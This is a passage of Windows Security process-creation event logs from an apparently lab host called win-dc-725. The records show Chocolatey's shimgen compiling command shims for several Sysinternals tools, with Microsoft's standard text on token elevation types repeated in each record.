Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246817 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd10 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb10 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246816 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaec - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pssuspend.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_7707\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246815 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaec - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246814 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pssuspend.exe" --output="C:\ProgramData\chocolatey\bin\pssuspend.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pssuspend.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x42c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES14E.tmp" "c:\ProgramData\chocolatey\bin\CSCCB233B98CE7A44088E5594E752EC8214.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246812 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x42c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246811 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x42c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psshutdown.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_5519\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246809 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psshutdown.exe" --output="C:\ProgramData\chocolatey\bin\psshutdown.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psshutdown.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246808 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES83.tmp" "c:\ProgramData\chocolatey\bin\CSCEB9CA5258034BC7B9D5742C4AF4B90.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246807 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb18 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246806 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd14 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsService64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246805 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd14 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246804 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsService64.exe" --output="C:\ProgramData\chocolatey\bin\PsService64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsService64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246803 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFF98.tmp" "c:\ProgramData\chocolatey\bin\CSCE34F8F8D90C14BB58ED4EDD3A49B7EFB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246802 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246801 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsService.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246800 -Keywords=Audit Success 